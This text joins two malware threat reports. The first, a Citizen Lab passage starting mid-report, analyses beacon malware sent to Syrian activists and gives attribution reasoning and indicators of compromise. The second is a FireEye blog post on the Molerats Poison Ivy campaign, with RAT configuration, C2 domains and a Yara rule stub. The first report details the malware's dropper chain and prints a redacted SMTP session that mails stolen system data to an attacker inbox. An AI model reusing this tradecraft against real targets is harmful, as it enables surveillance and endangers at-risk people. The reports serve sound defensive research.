The AdobeR1 file writes a series of executable files that perform information collection and communication functions, including: C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\AdbrRader.exe C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\AdobeIns.exe C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\GoogleUpate.exe C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\GooglUpd.exe C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\nvidrv.exe C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\nvisdvr.exe C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\rundl132.exe C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\svhosts.exe C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\nvidrv.exe Program Sequence The program sequence of data collection and sending is somewhat unusual, with each program performing a single task and communicating via markers left in the registry.
Programs appear to make use of the Visual C Runtime Library.
First, the program nvidrv adds itself to autorun: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run under name UpdAdbreader https://citizenlab.org/wp-content/uploads/2014/12/ar-raqah7.png It also creates a series of registry keys that the individual programs use to communicate: Registry keys and programs using them: rundl132.exe: DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K6F-DKV8J-FKVJI- GVKBU\6nvisdvr.exe: DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K4F-DKV8J-FKVJI- GVKBU\4GoogleUpate.exe: DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K3F-DKV8J-FKVJI- GVKBU\3AdbrRader.exe: DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K2F-DKV8J-FKVJI- GVKBU\2nvidrv.exe: DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K1F-DKV8J-FKVJI-GVKBU\1 Sets name 1 to StartupInfo structure as a string, e.g.
0x3110x611 It then runs GooglUpd, which cleans up the program files if they exist, and runs AdbrRader.
AdbrRader (communicating through registry key 2) writes the file vgadmysadm.tmp with the name of another registry key 2 with startup info.
C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\ vgadmysadm.tmp Next, nvidrv runs GoogleUpate, which collects system information and writes it to: C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\vg2sxoysinf.tmp Then nvidrv runs nvisdvr (registry key 4) that collects a list of running processes, which are written to: C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\v2cgplst.tmp Finally, nvidrv runs svhosts, which tests Internet connectivity by doing a DNS query for windowsupdate.microsoft.com.
It then runs rundl132 if it has not before, by checking whether registry key name 6 is present.
It sets the key to 0 and runs it.
Next, rundl132.exe performs an HTTP GET request to myexternalip.com and collects the external IP of the infected machine: GET /raw HTTP/1.1 Host: myexternalip.com Cache-Control: no-cacheHTTP/1.1 200 OK Server: nginx/1.6.2 Content-Type: text/html charsetutf-8 Transfer-Encoding: chunked Connection: close Date: [REDACTED] My-External-Ip: [REDACTED]f [REDACTED]0 Next, rundl132 writes: C:\Users\[Username]\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.
IE5\Q7B90TFG\raw[1].txt Then rundl132 writes the external IP to: C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\vgosysaext.tmp Finally, rundl132 runs AdobeIns, which zips the contents of the win32.tmp folder.
Program AdobeIns.exe takes the files written by the other programs and zips them in an encrypted, password- protected file: C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\drv.sys\mxtd Data Transmission Data is transmitted by e-mail to an account presumably controlled by the attacker.
AdobeIns connects to an account at the online e-mail provider inbox.com via smtp using hardcoded credentials.
The malware then sends an e-mail to the same inbox containing the text Hello and with mxtd file attached.
SMTP traffic generated by the malware to inbox.com (with redactions) 220 [REDACTED]ESMTP Postfix EHLO [REDACTED] 250-[REDACTED] 250-PIPELINING 250-SIZE 10240000 250-VRFY 250-ETRN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 DSN MAIL FROM: [REDACTED]inbox.com 250 2.1.0 Ok RCPT TO: [REDACTED]inbox.com 250 2.1.5 Ok DATA 354 End data with .
Date: [REDACTED] From: [REDACTED]inbox.com X-Priority: 3 (Normal) To: [REDACTED]inbox.com Subject: repo MIME-Version: 1.0 Content-Type: multipart/mixed boundary__MESSAGE__ID__[REDACTED]__MESSAGE__ID__[REDACTED] Content-type: text/plain charsetUS-ASCII Content-Transfer-Encoding: 7bitHello __MESSAGE__ID__[REDACTED] Content-Type: application/x-msdownload namemxtd Content-Transfer-Encoding: base64 Content-Disposition: attachment filenamemxtd[REDACTED]__MESSAGE__ID__[REDACTED].
250 2.0.0 Ok: queued as [REDACTED] QUIT 221 2.0.0 Bye Evaluation of the Malwares Functionality The malware seen in this case study is unusual as it relies on a half-dozen separate executable files, each with a single task, and each communicating via markers dropped in the Registry.
The malware is also interesting because it does not provide remote access, but only sends an e-mail containing the victims IP address and miscellaneous system information.
The malware resends the information each time the computer is restarted, but it does not refresh the sent information on restart (which may be a bug).
This behaviour strongly suggests that the function of this malware is to serve as a beacon.
The system information could be used to identify processes to exploit in the future, however since the attacker has already triggered the execution of a file on the victims system, it is surprising that more was not taken, or that a RAT (custom or widely available) was not used.
A RAT would have provided much greater access alongside IP information By not providing remote access and other RAT functionality, the program looks less like malware, and may attract less attention from endpoint protection tools and scanners.
Detections were low when the file was first submitted to VirusTotal, for example.
It registered only 6/55 detections by anti virus scanners, or a 10 detection rate.
Transmitting the malware via e-mail also provides a degree of obscurity, and has the additional advantage of providing a layer of abstraction between the attacker and the target: there is no need to maintain a RAT command-and-control server.
The malware transmits autonomously, leaving the material in an inbox for the attacker to collect at a later time.
The malware has no obfuscation processes and is not highly technical in its development or interaction with Windows.
Nevertheless, we believe that the author of the program is aware of certain techniques to reduce the visibility of malware on a network, including transmitting data via encrypted e-mail communications.
However, the attacker has not correctly implemented encrypted e-mail: the malware will not attempt to use a TLS connection in certain cases.
As a result, account login credentials may be readily available in network traffic.
In addition, the malware uses the old PKWARE implementation of zip encryption, which is not particularly secure.
The password for the zipped file is also present in the binary without encryption or obfuscation.
Targeted Threats Index Citizen Lab researchers have developed the Targeted Threat Index (TTI) as a tool to standardize information about the sophistication of targeted threats against civil society groups in our research.
The index captures information about the level of social engineering used (Targeting Sophistication), and adds a Technical Sophistication value for the attack as a multiplier.
This attack, which has little technical sophistication (i.e., it uses no exploits, code obfuscation, or techniques to frustrate reversing, etc.
),
nevertheless has carefully developed social engineering in the seeding materials and bait document.
Taken together it rates a 3 for Targeting Sophistication and a 1.25 for Technical Sophistication by our metric, yielding a TTI score of 3.75.
Citizen Lab research using the TTI has found that, despite low levels of technical sophistication, with well-crafted social engineering malware attacks remain highly effective against civil society groups.
More information is available about the TTI in a recent Usenix Security paper.
Attribution There are at least three possible sources for this malware attack: Pro-regime / regime-linked malware groups ISIS-linked hackers Other, unknown actors We evaluate each of these possibilities in turn, drawing on the information available to us after almost three years of tracking regime-linked malware.
Pro-Regime / Regime-Linked Groups Pro-regime malware actors have continually targeted the Syrian opposition with waves of malware since at least late 2011.
Those campaigns have been extensively reported on by a range of groups, including Kaspersky, FireEye, Citizen Lab, the Electronic Frontier Foundation, and many others.
Regime-linked malware has a number of common features that typically serve as distinguishing characteristics: Social engineering focusing on the needs and interests of the opposition.
Although targeted, the malware seeding often aims at classes of people (e.g., people interested in shocking news about a fighter, or leaked information about the Assad regime) rather than carefully written spear phishing targeting a single individual or small group.
Use of widely available RATs (njRAT, Xtreme Rat, ShadowTech Rat, DarkComet RAT, and Blackshades RAT, among others).
At least one command-and-control server located within Syrian IP space (often from a limited range of addresses).
Frequent use of Dynamic DNS providers like no-ip.
Use of crypters to obscure the binary.
These characteristics are not all present in every sample, but we have typically found one or more in almost every binary we have examined that is Syrian regime-linked.
This malware attack differs from known regime-linked groups in each of these elements.
Not only is it exceptionally targeted, but it is also not a commonly available RAT.
Nor does it have RAT functionality.
The function of the malware appears to be: identify and unmask the IP address of target(s), and resend them to the attacker with each reboot.
In addition, data is sent to an Internet e-mail address, and no crypter is used to obscure the binary.
https://citizenlab.org/2013/10/targeted-threat-index/?
We are aware of only one previous case in Syria in which e-mail was used to transmit data, and that we believed was regime linked.
That incident, observed in 2012, also used hardcoded e-mail to exfiltrate.
However, that malware had substantially more functionality than this case: not only did it drop a second stage from a compromised site, but was also included a mechanism for exfiltrating credentials from Facebook and hooking programs like Skype.
The lack of overlap in Tactics, Techniques, and Procedures (TTPs) between this attack and prior attacks does not rule out Syrian regime-linked attackers.
It is possible that regime-linked groups are trying a new approach.
However, given that known regime-linked groups continued to remain active during the same date range using familiar TTPs, this scenario seems unlikely.
In addition, it would be strange for regime-linked malware groups to undertake significant effort to prepare and send an implant that has significantly less functionality than what they commonly use.
Taken together, we find this evidence supports the hypothesis that familiar regime-linked groups did not conduct the attack.
ISIS-linked Hackers RSS operates in territory controlled by ISIS, and has faced extensive targeting by ISIS.
Currently, they appear to be directly targeted by ISIS for kidnappings and other retaliation, including executions.
In addition, ISIS supporters have explicitly suggested that the group is under surveillance and actively hunted.
Together this evidence suggests that ISIS has a strong motivation for using social engineering and/or malware to locate the members of RSS.
We think there are several features of the malware attack that align with the needs and constraints of ISIS and its supporters in Ar-Raqqah, more so than other groups, as we understand them.
For example: The malware beacons location but does not provide RAT functionality.
The seeding attempts to obtain a private Facebook identity from RSS through social engineering.
The malware exfiltrates to an online e-mail account, thus not requiring the attacker to maintain a command-and- control server online.
The social media activity of members of RSS is often highly public.
Their location and exact membership, however, is secret.
We speculate that if an attacker were interested in maintaining long-term surveillance of the activities of RSS they could have employed a RAT.
However, if the attacker were interested in unmasking the location of its targets so they could be physically tracked down, collecting IP data and system info would be a more reasonable approach.
ISIS or its supporters clearly have a strong interest in the (rudimentary) location tracking of the members of RSS that this malware provides.
Internet connectivity in Raqqah is extremely limited, and some of it is under ISIS control.
Knowing the IP address of a target could quickly narrow down targets to specific locations, and specific Internet services, or Internet cafes in Raqqah.
Given that the identities and locations of RSS members are closely guarded, such information would hold significant intelligence value for ISIS.
Armed with this kind of information, ISIS could physically harm people within Raqqah (and it is also possible that they have the ability to operate in some capacity in border areas of Turkey).
Little is publicly known about the technical capabilities of ISIS and its supporters however, reports have begun to emerge suggesting that ISIS is interested in expanding its abilities.
In addition, ISIS has reportedly gained the support of at least one individual with some experience with social engineering and hacking: Junaid Hussain (aka TriCk), a former member of teamp0ison hacking team.
While Mr. Hussain and associates have reportedly made threats against Western governments, it is possible that he or others working with ISIS have quietly supported an effort to identify the targeted organization, which is a highly visible thorn in the side of ISIS.
https://www.eff.org/deeplinks/2012/04/new-wave-facebook-phishing-attacks-targets-syrian-activists Other Unknown Actors It is possible that the attack is the product of actors working for unknown purposes and targeting RSS.
Given the activities of RSS, however, it is unclear who this might be.
It is not possible, for example, to reject the theory that some unknown group within the FSA, or other groups opposing the Assad regime are responsible.
Citizen journalists in Ar-Raqqah were previously critical of arbitrary arrests carried out by non-ISIS groups in 2013.
However, it is unclear why those groups, which no longer control Ar-Raqqah, would be interested in RSS in November 2014.
It is likely that third party actors, including several intelligence services, are closely monitoring various actors in the conflict through a range of electronic means.
However, there is little reason to suggest that they would use a tailored but technically rudimentary attack to target RSS in particular.
Conclusion: ISIS Cant Be Ruled Out After considering each possibility, we find strong but inconclusive circumstantial evidence to support a link to ISIS.
However, we are unable to connect this attack directly to ISIS, Mr. Hussain, or other ISIS supporters.
If indeed ISIS or its supporters are responsible, it seems reasonable that such an offensive capability may still be in development.
We hope that publishing this report will draw attention to a new and concerning threat that includes ISIS critics among its targets.
If ISIS is responsible, while this attack targets in-country impediments to ISIS objectives, other targets may include ideological or military adversaries abroad.
Whether or not ISIS is responsible, this attack is likely the work of a non-regime threat actor who may be just beginning to field a still-rudimentary capability in the Syrian conflict.
The entry costs for engaging in malware attacks in a conflict like the Syrian Civil War are low, and made lower by the fact that the rule of law is nonexistent for large parts of the country.
In still other parts (under regime control), malware attacks appear to be state sanctioned.
Attacks Targeting Civil Society Citizen Lab research into targeted digital threats against civil society confirms that civil society groups face grave threats from targeted malware attacks, despite being under-resourced to defend against them.
The case highlighted here is no exception: lack of IT and security resources have made it difficult for the Syrian opposition to address targeted and persistent digital threats against them.
In addition, if ISIS is indeed responsible, this case suggests how easy it is for belligerents in a conflict to begin fielding basic offensive digital capabilities, and how quickly the capabilities can be pointed at unarmed civil society groups.
Warning: Social Engineering Thrives in Syrian Context This attack was exceptionally targeted, and clearly reflected the work of an actor familiar with the operations of the targeted organization.
As most organizations working on issues surrounding Syria are aware, malware delivered with good social engineering is a constant source of danger.
This particular attack can be prevented by not opening files sent by unknown persons.
However, many attacks in Syria come from hijacked accounts and impersonate people known to the targets.
Social engineering remains an unsolved problem, and continues to compromise groups throughout the Syrian opposition and their supporters.
This attack reaffirms the dangers posed by social engineering attacks, whether they deliver phishing campaigns or malware.
The circumstantial evidence of ISIS involvement suggests that groups working on topics that ISIS considers a threat, and their partner organizations and supporters, should urgently examine their security policies and assess the possible risks to their operations, and the consequences of exposure of sensitive information to ISIS.
Even if the link to ISIS turns out to be incorrect, it is possible that this will be a threat in the future.
Individuals and groups at risk can also consult materials in Arabic provided by Cyber Arabs including a series of very accessible videos on digital security.
Indicators of Compromise The malware files Filename MD5 slideshow.zip b72e6678e79cc57d33e684528b5721bd slideshow.exe f8bfb82aa92ea6a8e4e0b378781b3859 Files dropped by the malware Filename and Path MD5 C:\Users\ [Username]\AppData\Local\Temp\IXP000.TMP\AdobeR1.exe (note: folder and file deleted after slideshow closed) aa6bcba23cd39c2827d72d33f5104856 C:\Users\ [Username]\AppData\Local\Temp\IXP000.TMP\pictures.exe (note: folder and file deleted after slideshow closed) eda83c8e4ba7d088593f22d56cf39d9f C:\Users\ [Username]\Microsoft\Windows\Z0xapp8T.tmp\AdbrRader.exe 9d36e8e3e557239d7006d0bb5c2df298 C:\Users\ [Username]\Microsoft\Windows\Z0xapp8T.tmp\AdobeIns.exe 1d5d8c5ce3854de61b28de7ca73093f1 C:\Users\ [Username]\Microsoft\Windows\Z0xapp8T.tmp\GoogleUpate.exe 55039dd6ce3274dbce569473ad37918b C:\Users\ [Username]\Microsoft\Windows\Z0xapp8T.tmp\GooglUpd.exe efdd9b96ae0f43f7d738ead2e1d5430c C:\Users\ [Username]\Microsoft\Windows\Z0xapp8T.tmp\nvidrv.exe 0e3eb8de93297f12b56de9fc33657066 C:\Users\ [Username]\Microsoft\Windows\Z0xapp8T.tmp\nvisdvr.exe 3eb6f95c321ace0e3b101fd7e2cdd489 C:\Users\ [Username]\Microsoft\Windows\Z0xapp8T.tmp\rundl132.exe 84bbd592a212f5a84923e82621e9177d C:\Users\[Username]\Microsoft\Windows\Z0xapp8T.tmp\ svhosts.exe 13caa1c95e6610f2d5134174e1fb4fd0 Collected Information Files (unencrypted) Filename and Path C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\v2cgplst.tmp C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\vg2sxoysinf.tmp C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\vgadmysadm.tmp C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\vgosysaext.tmp https://citizenlab.org/2014/12/malware-attack-targeting-syrian-isis-critics/www.cyber-arabs.com https://www.cyber-arabs.com/?page_id8410 Exfiltrated file (encrypted) Filename and Path C:\Users\[Username]\AppData\Local\Microsoft\Windows\win32.tmp\drv.sys\mxtd Registry Keys Filename and Path DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K1F- DKV8J-FKVJI-GVKBU\1 DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K2F- DKV8J-FKVJI-GVKBU\2 DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K3F- DKV8J-FKVJI-GVKBU\3 DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K4F- DKV8J-FKVJI-GVKBU\4 DefaultKeyboard\User\F124-5KK83-F2IV9-FDN293\JIPC7-K2ODP-OFnD3-FJCC3\J1K6F- DKV8J-FKVJI-GVKBU\6 Acknowledgements Acknowledgements: We are grateful to Cyber Arabs and the Institute for War and Peace Reporting for their critical work and assistance.
Special thanks to: several anonymous Syrians, Masashi Crete-Nishihata, Sarah McKune, Morgan Marquis-Boire, Ron Deibert, Bill Marczak, Nart Villeneuve, Irene Poetranto, and Kristen Dennesen.
Support for this research is provided by grants from the John D. and Catherine T. MacArthur Foundation and the Ford Foundation.
Footnotes 1 https://www.hate-speech.org/intense-hunt-for-americas-spies/ 2 http://www.ibtimes.com/isis-militants-target-high-speed-internet-cafes-Raqqah-stronghold-1745382 (note that this report also sources Raqqah is being Slaughtered Silently) 3 https://www.hate-speech.org/intense-hunt-for-americas-spies/ 4 http://www.telegraph.co.uk/news/worldnews/islamic-state/11291510/Syrian-activist-tell-of-brutal-torture-by-Assad- regime-and-Isil.html 5 https://twitter.com/Raqqah_sl and http://www.
Raqqah-sl.com 6 Special thanks to Cyber Arabs for assistance with the translation 7 https://www.virustotal.com/en/file/d9da10e6381cb5c97a966bab0e3bdb3966a61e3e49147cd112dc3beabe22a2c3/analysis/ 8 https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-hardy.pdf 9 https://securelist.com/files/2014/08/KL_report_syrian_malware.pdf 10 https://www.fireeye.com/blog/threat-research/2014/08/connecting-the-dots-syrian-malware-team-uses-blackworm- for-attacks.html https://www.hate-speech.org/intense-hunt-for-americas-spies/ http://www.ibtimes.com/isis-militants-target-high-speed-internet-cafes-Raqqah-stronghold-174538220 https://www.hate-speech.org/intense-hunt-for-americas-spies/ http://www.telegraph.co.uk/news/worldnews/islamic-state/11291510/Syrian-activist-tell-of-brutal-torture-by-Assad-regime-and-Isil.html https://twitter.com/Raqqah_sl20and20http://www.
Raqqah-sl.com https://www.virustotal.com/en/file/d9da10e6381cb5c97a966bab0e3bdb3966a61e3e49147cd112dc3beabe22a2c3/analysis/ https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-hardy.pdf https://securelist.com/files/2014/08/KL_report_syrian_malware.pdf https://www.fireeye.com/blog/threat-research/2014/08/connecting-the-dots-syrian-malware-team-uses-blackworm-for-attacks.html 11 https://citizenlab.org/2014/03/maliciously-repackaged-psiphon/ 12 https://www.eff.org/document/quantum-surveillance-familiar-actors-and-possible-false-flags-syrian-malware- campaigns 13 http://www.birminghammail.co.uk/news/midlands-news/birmingham-hacker-junaid-hussain-syria-7291864 14 http://www.dailymail.co.uk/news/article-2166850/Junaid-Hussain-Team-Poison-hacker-18-published-Tony-Blairs- address-book-online-faces-jail.html 15 The most recent Citizen Lab report on this topic is Communities  Risk, which details a four-year long study of targeted digital threats against ten civil society organizations.
https://targetedthreats.net https://citizenlab.org/2014/03/maliciously-repackaged-psiphon/ https://www.eff.org/document/quantum-surveillance-familiar-actors-and-possible-false-flags-syrian-malware-campaigns http://www.birminghammail.co.uk/news/midlands-news/birmingham-hacker-junaid-hussain-syria-7291864 http://www.dailymail.co.uk/news/article-2166850/Junaid-Hussain-Team-Poison-hacker-18-published-Tony-Blairs-address-book-online-faces-jail.html https://targetedthreats.net/ https://addthis.com/bookmark.php?v300
August 23, 2013  By Nart Villeneuve, Ned Moran and Thoufique Haq  Threat Intelligence, Threat Research Operation Molerats: Middle East Cyber Attacks Using Poison Ivy Dont be too hasty to link every Poison Ivy-based cyber attack to China.
The popular remote access tool (RAT), which we recently detailed on this blog, is being used in a broad campaign of attacks launched from the Middle East, too.
First, some background: In October 2012, malware attacks against Israeli government targets grabbed media attention as officials temporarily cut off Internet access for its entire police force and banned the use of USB memory sticks.
[
1] Security researchers subsequently linked these attacks to a broader, yearlong campaign that targeted not just Israelis but Palestinians as well.
[
2]  and as discovered later, even the U.S. and UK governments.
[
3] Further research revealed a connection between these attacks and members of the so-called Gaza Hackers Team.
We refer to this campaign as Molerats.
Threat actors in specific geographic regions may prefer one RAT to another, but many RATs are publicly available and used by a variety of threat actors, including those involved in malware-based espionage.
In 2012, the Molerats attacks appeared to rely heavily on the XtremeRAT, a freely available tool that is popular with attackers based in the Middle East.
[
5] But the group has also used Poison Ivy (PIVY), a RAT more commonly associated with threat actors in China [6]  so much so that PIVY has, inaccurately, become synonymous with all APT attacks linked to China.
This blog post analyzes several recent Molerats attacks that deployed PIVY against targets in the Middle East and in the U.S. We also examine additional PIVY attacks that leverage Arabic-language content related to the ongoing crisis in Egypt and the wider Middle East to lure targets into opening malicious files.
[
7] Enter Poison Ivy We observed several attacks in June and July 2013 against targets in the Middle East and the U.S. that dropped a PIVY payload that connected to command-and-control (CnC) infrastructure used by the Molerats attackers.
Search Blog Definitive Guide to Next-Generation Threat Protection Comprehensive guide on todays new breed of cyber attacks and how next- generation threat protection can fill the gaps in organizations network defenses Download Protecting Your Data, Intellectual Property, and Brand from Cyber Attacks Guide for CIOs, CFOs, and CISOs on why traditional security defenses are failing and how losing the security battle can hurt your business Download Enter email address... Filter by Category Select Category Resources Subscribe to the Blog Your email: Subscribe YouTube View more videos Facebook Blog ALL POSTS FIREEYE HOME Get a Demo Customer Support Contact Us The malware sample we analyzed was unusual for two reasons: It referenced an article that was published last year The compile time for the dropped binary was also dated from last year, seemingly consistent with the referenced article.
But this malware was signed, and  in contrast to the compile time, which can be faked  the signing time on its certificate was much more recent: Monday, July 08, 2013 1:45:10 A.M.
Here are the file details: Hamas shoot down Israeli F-16 fighter jet by modern weapon in Gaza sea.doc-  -  - -  -  - -.scr MD5: 7084f3a2d63a16a191b7fcb2b19f0e0d This malware was signed with a forged Microsoft certificate similar to previous XtremeRat samples.
But the serial number (which is often reused by attackers, enabling FireEye researchers to link individual attacks, including those by the Molerats) is different this time.
The malware dropped an instance of PIVY with the following configuration: ID: F16 08-07-2013 Group: DNS/Port: Direct: toornt.servegame.com:443, Proxy DNS/Port: Proxy Hijack: No ActiveX Startup Key: HKLM Startup Entry: File Name: Install Path: C:\Documents and Settings\Admin\Local Settings\Temp\morse.exe Keylog Path: C:\Documents and Settings\Admin\Local Settings\Temp\morse Inject: No Process Mutex: gdfgdfgdg Key Logger Mutex: ActiveX Startup: No HKLM Startup: No Copy To: No Melt: No Persistence: No Keylogger: No Password: GooD We collected additional PIVY samples that had the same password or linked to CnC infrastructure at a common IP address (or both).
We observed three PIVY passwords (another potential identifier) used in the attacks: GooD, Goood and admin100.
Additional Samples with Middle Eastern Themes We also found a PIVY sample used by this group that leveraged what are known as key files instead of passwords.
The PIVY builder allows operators to load .pik files containing a key to secure communications between the compromised computer and the attackers machine.
By default, PIVY secures these communications with the ascii text password of admin  when the same non-default password appears in multiple attacks, researchers can conclude that the attacks are related.
The PIVY sample in question had an MD5 hash of 9dff139bbbe476770294fb86f4e156ac and communicated with a CnC server at toornt.servegame.com over port 443.
The key file used to secure communications contained the following ascii string Password (256 bits):\x0d\x0aA9612889F6 (where \x0d\x0a represents a line break).
The 9dff139bbbe476770294fb86f4e156ac sample dropped a decoy document in Arabic that included a transcript of an interview with Salam Fayyad, the former Prime Minister of the Palestinian National Authority.
The sample 16346b95e6deef9da7fe796c31b9dec4 was also seen communicating with toornt.servegame.com over port 443.
This sample appears to have been delivered to its targets via a link to a RAR archive labeled Ramadan.rar (fc554a0ad7cf9d4f47ec4f297dbde375) hosted at the Dropbox file-sharing website.
The sample a8714aac274a18f1724d9702d40030bf dropped a decoy document in Arabic that contained a biography of General Adbel Fattah el-Sisi  the Commander-in-Chief of the Egyptian Armed Forces.
A recent sample (d9a7c4a100cfefef995785f707be895c) used protests in Egypt to entice recipients to open a malicious file.
Another sample (b0a9abc76a2b4335074a13939c59bfc9) contained a decoy with a grim picture of Fadel Al Radfani, who was the adviser to the defense minister of Yemen before he was assassinated.
Although we are seeing Egyptian- and Middle Eastern-themed attacks using decoy content in Arabic, we cannot determine the intended targets of all of these attacks.
Delivery Vector We believe that the Molerats attacker uses spear phishing to deliver weaponized RAR files containing their malicious payloads to their victims in at least two different ways.
The Molerats actor will in some cases attach the weaponized RAR file directly to their spear- phishing-emails.
We also believe that this actor sends spear-phishing emails that include links to RAR files hosted on third-party platforms such as Dropbox.
In one such example we found the following link was used to host Ramadan.rar (fc554a0ad7cf9d4f47ec4f297dbde375): hxxps://dl[.]dropboxusercontent[.
]com/s/uiod7orcpykx2g8/Ramadan.rar?token_hashAAHAVuiXpTkOKwar9e0WH- EfrK7PEB9O7t7WC6Tgtn315wdl1 CnC Infrastructure We have found 15 PIVY samples that can be linked through common passwords, common CnC domain names, and common IP addresses to which the CnC domains resolve.
The CnC servers for this cluster of activity are: toornt.servegame.com updateo.servegame.com egypttv.sytes.net skype.servemp3.com natco2.no-ip.net Two of the domain names (natco2.no-ip.net and skype.servemp3.com) that were used as CnCs for PIVY were both documented as XtremeRat CnCs that were used in previous attacks.
[
8] We focused on these domains and their IP addresses  which they had in common with toornt.servegame.com.
In addition, we added the well-known CnCs good.zapto.org and hint.zapto.org used in previously documented attacks.
By observing changes in DNS resolution that occurred within the same timeframe, we were able to ensure that the passive DNS data we collected was the same.
Interestingly, we also found that the domains often shifted to a new IP address over time.
CnC Date IP toornt.servegame.comnatco2.no-ip.netskype.servemp3.comgood.zapto.orghint.zapto.org 2013-07-10 22:06:562013- 07-10 22:05:312013- 07-10 23:45:462013- 07-10 23:48:412013- 07-10 23:48:41 209.200.39.48 toornt.servegame.comnatco2.no-ip.netskype.servemp3.comgood.zapto.orghint.zapto.org 2013-07-16 09:14:302013- 07-16 11:33:212013- 07-16 12:47:592013- 07-16 12:50:512013- 07-16 12:50:51 209.200.39.88 toornt.servegame.comnatco2.no-ip.nethint.zapto.org 2013-07-21 15:00:382013- 07-21 15:28:432013- 07-21 16:31:07 173.225.126.166 toornt.servegame.comnatco2.no-ip.net 2013-07-21 22:06:192013- 07-21 22:04:49 173.225.126.103 toornt.servegame.comnatco2.no-ip.netskype.servemp3.comgood.zapto.orghint.zapto.org 2013-07-29 15:38:212013- 07-29 209.200.39.220 15:35:522013- 07-29 16:46:352013- 07-29 16:49:272013- 07-29 16:49:27 natco2.no- ip.netgood.zapto.orghint.zapto.orgtoornt.servegame.comomagle.serveblog.netskype.servemp3.com 2013-07-10 22:05:312013- 07-10 22:06:352013- 07-10 22:06:372013- 07-10 22:06:562013- 07-10 22:19:032013- 07-10 22:19:31 209.200.39.48 egypttv.sytes.nettoornt.servegame.com 2013-08-10 14:07:382013- 08-10 14:08:43 173.225.126.179 One interesting discovery concerns a sample (5b740b4623b2d1049c0036a6aae684b0) that was first seen by VirusTotal on September 14, 2012.
This date is within the timeframe of the original XtremeRat attacks, but the payload in this case was PIVY.
This indicates that the attackers have been using PIVY in addition to XtremeRat for longer than we had originally believed.
Conclusion We do not know whether using PIVY is an attempt by those behind the Molerats campaign to frame China-based threat actors for their attacks or simply evidence that they have added another effective, publicly-available RAT to its arsenal.
But this development should raise a warning flag for anyone tempted to automatically attribute all PIVY attacks to threat actors based in China.
The ubiquity of off-the-shelf RATs makes determining those responsible an increasing challenge.
The ongoing attacks are also heavily leveraging content in Arabic that uses conflicts in Egypt and the wider Middle East to lure targets into opening malicious files.
But we have no further information about the exact targets of these Arabic lures.
As events on the ground in the Middle East  and in Egypt in particular  receive international attention, we expect the Molerat operators to continue leveraging these headlines to catalyze their operations.
Notes 1.
http://www.timesofisrael.com/how-israel-police-computers-were-hacked-the-inside-story/ http://www.haaretz.com/blogs/diplomania/israel-s-foreign-ministry-targeted-by-computer-virus-bearing-idf-chief-s- name.premium-1.472278 2.
http://download01.norman.no/whitepapers/Cyberattack_against_Israeli_and_Palestinian_targets.pdf 3.
http://blog.trendmicro.com/trendlabs-security-intelligence/new-xtreme-rat-attacks-on-usisrael-and-other-foreign- governments/ 4.
http://blog.trendmicro.com/trendlabs-security-intelligence/new-xtreme-rat-attacks-on-usisrael-and-other-foreign- governments/ 5.
http://blog.trendmicro.com/trendlabs-security-intelligence/new-xtreme-rat-attacks-on-usisrael-and-other-foreign- governments/ 6.
http://www.fireeye.com/resources/pdfs/fireeye-poison-ivy-report.pdf 7.
The Molerats group also uses addition RATs such as XtremeRat, Cerberus, Cybergate, but we have focused on their used of PIVY in this blog.
8.
http://download01.norman.no/whitepapers/Cyberattack_against_Israeli_and_Palestinian_targets.pdf Yara Signature This Yara signature can be used to locate signed samples that have the new certificate serial numbers used by Molerats.
rule Molerats_certs OCULUS Overview of Oculus Todays Advanced Cyber Threats Why Dont Traditional Defenses Work?
Why FireEye?
THREAT PREVENTION PLATFORMS NX Series EX Series FX Series Mobile Security AX Series Solutions for Government More Products and Solutions INFO AND RESOURCES Info Center Investor Relations Partners News and Events Support About FireEye CONNECT Blog Twitter Facebook LinkedIn 877.FIREEYE (877.347.3393) REQUEST INFO Copyright  2006-2013 FireEye, Inc. All rights reserved.
